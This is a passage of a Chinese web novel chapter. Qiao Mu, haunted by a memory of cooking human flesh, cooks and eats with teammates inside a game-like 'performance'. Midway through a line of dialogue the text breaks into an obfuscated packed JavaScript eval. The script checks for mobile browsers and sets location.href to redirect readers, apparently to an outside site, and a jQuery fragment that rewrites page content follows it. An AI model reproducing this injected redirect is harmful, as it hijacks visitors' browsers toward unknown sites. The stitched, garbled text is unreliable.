面前是一碗冒着热气的面线。
熬了数小时的醇厚鸡汤打底，碧绿葱花点点，灿金的炸虾整齐排列在碗沿，翠色小白菜与玉色面线相依共存，还有一个缓缓淌出流沙般蛋黄的水波蛋。
这碗面放在外面店里要价必定不菲，单看卖相都知道滋味绝佳，然而碗前的人却只是捏住筷子，分毫未动。
乔木抬眼，看向面前的家人：他的母亲双手紧握，抿紧的嘴唇和眼角的细纹无一不诉说着她的焦虑与苦痛；他的姐姐不自觉向前倾身，一双漂亮的眼睛紧紧盯着他的手。她看上去像是快要哭了。
我都还没哭呢。乔木心里叹着气，想要安慰她们，却只觉得语言苍白。他抬起筷子，夹起一卷面线。
一厘米一厘米，咸香的面食靠近嘴唇，他嗅到其中所有滋味：汤中的醇、虾肉的甜、青菜的鲜、面线本身小麦的气息。这曾是他最喜欢的家常菜。
他张开嘴。刹那间，一切画面都扭曲了：十足的冷气打在脚踝，那是从打开的冷冻库中溢出的；面前摆着的不再是熟悉的青花瓷面碗，而是洁白、边缘锋利到能割伤手指的长盘，上面排列着煎好的肉排。那其中还透着点生肉的血粉色。
他亲自用平底锅煎的肉。他亲手从人类肢体上切下的肉。
人肉本身的血腥气和腥味扑面而来。乔木喉咙震颤几下，他猛地摔下筷子，转头奔向卫生间。
在剧烈的呕吐声中，他隐约听到外头姐姐的哭声。还有他母亲绝望的叹息。所有声音混杂在一起，让他心如刀割。
他勉力直起身，看向镜中的自己。面色苍白似鬼、双颊凹陷、红发黯淡卷枯。
乔木摁着洗手台的边缘。眼睫翕动几下，疲惫地阖拢。亲人的悲伤仍然在他身边萦绕不休。
那双眼睛睁开。在美丽的眼瞳深处，仍然燃烧着骇人的明亮，就像暴风雨中的火焰，如何都不能浇熄。
*****
乔木用筷子沾了一筷头汤，在舌尖点了点，确认温度和味道都没问题后，他盖上锅盖，开始处理案板上的大葱和生姜。
菜刀接触砧板的声音稳定，向来让他感到安心。他注视着翠绿和洁白的植物被切成段，切口工整，大小近似，他相当满意。在做饭的时候，他总能够平静下来，什么也不想，将整个世界收回自己手中。
……前提是不要有人来打扰他。苏彦行踪可疑地凑近过来，他对着菜板上的东西瞪大双眼，“喔，你的刀工好牛啊。”
“熟能生巧而已。”乔木说。如果他没感觉错的话，苏彦刚刚已经在他背后盯了他好一会儿了，不知道是想干嘛。
他决定给对方一个话头，也避免还有继续这种不咸不淡的对话。“有什么事？”
“啥？”苏彦猝不及防，乔木开始刨生姜皮，“你在后面盯着厨房半天了。别告诉我你是饿了。”
他的脸有点发红。乔木剁生姜末，差点让密集的“笃笃”声盖过对方的嘟囔：“就是……上午说那种话，对不起。”
哪种话？乔木沉思片刻，才想起来。他说：“不用。那只是演戏而已。”
“话是这么说，但听到肯定会很难受吧。”苏彦说，他直视乔木侧脸，“如果我真有个妹妹要选你做男朋友，我也不会那样想的。”
乔木在心里叹了口气。像他这样的人，要怎么在这样的演绎里活下去？他不是悲观主义者，尚且觉得前途渺茫。
“我说了，没关系。”他揭开锅盖，一股白汽带着浓郁香气直窜出来，“你也最好不要把演戏时候发生的事情当真。”
“也许是这样。不过我还是得道歉，还有，我完全没觉得你——那个、怎么说，女性化过！”苏彦举起一只手，像宣誓一样。
备餐基本完毕，乔木摘下一次性医用手套扔进垃圾桶，将手放在水龙头下冲洗。他一边说着：“如果是为这几句话本身，也不用。我觉得剧本台词已经写得很客气了。”
“一般别人会直接喊我娘娘腔。”还有更恶心、更下流的说法，乔木不觉得有必要说出来。
苏彦冲口而出：“那也太过分了！”
乔木诧异地看向他。“我觉得这比‘肥猪’、‘土老帽’之类的要礼貌吧。”
他是在象牙塔里长大的吗？他难道不知道小孩子对付和自己不一样的人会有多残忍吗？相比之下，几个无关痛痒的外号并不算什么。
苏彦不说话了。乔木不去管他，他检查其他锅里东西的状态，满意地点点头。这剧场里也就这点还过得去：只要点数足够，不管什么食材都能换得到，他查了，甚至真的能有那种他平时只见过没吃过的食材，不过点数也相当惊人就是了。
他听到苏彦小声说：“……但你不会难过吗？”
仿佛一道微弱的光飞流过脑海。它细小地点亮了沿途灰暗，如同他曾经历过这样的时刻，久违的熟悉感浮上心头。
苏彦还在说话：“被人孤立和嘲笑，肯定没人会觉得舒服的。虽然我不知道那是什么感觉，但肯定不好。”
你当然不懂，你看起来就像身边永远不缺朋友的那种。乔木想着，但不知为何，没有把这句他人听来尖刻的话吐出。
这话听起来有点酸酸的，但实际上他并不嫉妒这种人，甚至可以说没什么感觉，这不管他事。很多时候他觉得自己只是在陈述事实，但别人就会觉得他在讽刺或者嘲笑他们。他觉得是这帮人太玻璃心了。
“无所谓。我不在乎别人怎么叫我，或者怎么说我。那和我没关系。”想了一下，乔木还是解释几句，免得这家伙继续愧疚下去。天知道为什么他会这样心地善良。
他把油倒进锅中。“我要做的不是别人嘴里的我。”我只会是我自己塑造出来的我。
既然如此，那别人怎么看自己，又有什么要紧？
苏彦陷入沉思。乔木开始下青菜，习惯性地说了句：“站远点。小心油。”
哪个人站他旁边他都会这样说。但苏彦一脸“你果然是个大好人”的表情，这他实在有点接受不能。刚才果然应该不说话的，他暗忖。
*****
乔木把最后一锅汤端到桌上，刚好外头门打开，几个脚步声匆匆闯进来。他看了眼，正好是舒觉、曲语冰和祝时明他们三个。
“好饿。今晚吃什么？”看到他站在桌边，曲语冰笑着问道。
“自己过来看。”乔木撂下一句，开始动手舀汤。
舒觉迈着轻巧的步伐来到他手边，乔木递给她一碗汤，她闻到香气，眼神一亮——乔木喜欢他的食客露出这样的表情。她说：“也太香了吧。是萝卜排骨汤吗？”
乔木点点头。他又依此分好剩下三碗汤，并且警告曲语冰：“你敢不把它喝完试试。不准和祝时明偷换。”
“天呐，我哪里做过这种事！”曲语冰大呼冤枉。乔木毫不留情揭穿他：“你当我是瞎子？祝时明都快给你撑死了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467491|185517||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“两碗汤的话，我还是可以喝下的。”祝时明吹着汤上热气，闻言打圆场道。乔木坐下来，暂且放过这个话题。
苏彦也在餐桌边坐下，他目光一一逡巡过桌上菜肴。“你们每顿都一起吃吗？我好像只见过乔木在做饭。”
“就是他做。我们付点数给他。”曲语冰答他。苏彦愣了下，说：“哦，原来是这样。点数可以互相转让的吗？”
“没有规则禁止这一点。我们试了一下，发现能成，就这样做了。”舒觉说。
不管看过几次，乔木仍然对她面不改色撒谎的能力惊叹不已。好像不论在什么情况下，她都能自然地说出谎言，宛如那就是真相。明明她知道，在场好几个人都知道此言非真。
除此之外，她的超忆症让她拥有了他人难以企及的记忆能力，还异常聪慧，推理判断和串联线索总是超前他人好几步，他相信警察局没有她将是警界的一大损失。
但他也很清楚，她身上有太多未解的谜团。以她的年纪，那样的黑客技术难以解释，她也从不解释；她恐惧黑暗和密闭空间，个中原因似乎远比一般人的要更深邃难言。
然而说来也怪，他觉得可以信任她。看着给自己添饭的女孩，乔木默默思索。他并非没看过舒觉残酷的姿态，那副模样任何一个人看了都会怀疑她是个毫无同理心的疯子。但他始终觉得，她是个真正有道德的人。
而曲语冰……乔木看着他往碗里加辣酱，还试图将其推销给旁边的祝时明，而祝时明又是个脾气好得他挑不出毛病的人，在对方的热情下节节败退，认命般舀出一小勺辣酱放到自己的饭上。
舒觉也注意到了这一幕。她起身，开始往一个杯子里倒水。因为下一秒，剧烈的呛咳声传遍整张餐桌，祝时明脸色瞬间辣红，他吐出舌头，疯狂喘气，甚至有眼泪夺眶而出。
舒觉把杯子推过去，祝时明道谢都来不及，开始大灌特灌。曲语冰笑得像只得意的红狐，舒觉瞥了他一眼，语气不咸不淡：“你这招还没玩腻？”
“远着呢。”曲语冰拍拍祝时明肩膀，“抱歉啦，小明。我也没想到你这么不能吃辣。”
祝时明好不容易缓过来，他有气无力地说出乔木想法：“你这辣度和我能不能吃辣有一点关系吗？……这到底是以谁为目标客户的东西啊。”
“别和他比了。他老家巫陵市的。”舒觉说。所有人脸上都露出“原来如此”的神色。那座城市以辣椒闻名，每年都会举办辣椒节，评选出第一辣的辣椒，本地市民相当以他们的辣椒和火爆菜系为荣。
“我也不是觉得乔木你做的菜不好，只是太久没吃辣了，想来点爽口的。”曲语冰转向乔木，脸上笑意不减。
这桌上恐怕只有他一个人能把这罐辣酱称作“爽口”。祝时明跟化身草食动物了一般，只拣清淡的菜吃了。乔木咽下嘴里的饭，回答他：“我无所谓。每个人都有自己的口味，我做的菜不可能合所有人心意。”
“反正，被辣到的也不是我。”他补充道，话音中的不赞同溢于言表。曲语冰放下筷子，他的碗里全是红艳艳的。“下次一定，下次一定。”
舒觉不说话，一昧干饭，相当认真。刚刚乔木看到曲语冰掏出辣酱就准备好了水，不过他没想过会是舒觉去倒。在他的印象里，她不是这么贴心的小可爱。
可能在进入演绎后，大家都有所改变了——但它会放大人心中美好的一面？他可不信。